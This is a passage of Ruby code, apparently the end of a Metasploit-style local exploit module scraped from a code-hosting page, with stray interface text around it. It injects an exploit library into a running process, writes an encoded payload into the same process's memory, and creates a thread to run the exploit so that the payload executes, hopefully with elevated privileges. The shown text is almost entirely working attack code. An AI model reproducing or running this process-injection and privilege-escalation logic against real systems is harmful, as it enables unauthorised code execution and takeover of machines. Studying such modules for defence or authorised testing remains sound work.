|
||||||
|
exploit_mem, offset = inject_dll_into_process(process, library_path)
|
||||||
|
print_status("Exploit injected. Injecting payload into #{process.pid}...")
|
||||||
|
payload_mem = inject_into_process(process, payload.encoded)
|
||||||
|
# invoke the exploit, passing in the address of the payload that
|
||||||
|
# we want invoked on successful exploitation.
|
||||||
|
print_status('Payload injected. Executing exploit...')
|
||||||
|
process.thread.create(exploit_mem + offset, payload_mem)
|
||||||
|
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue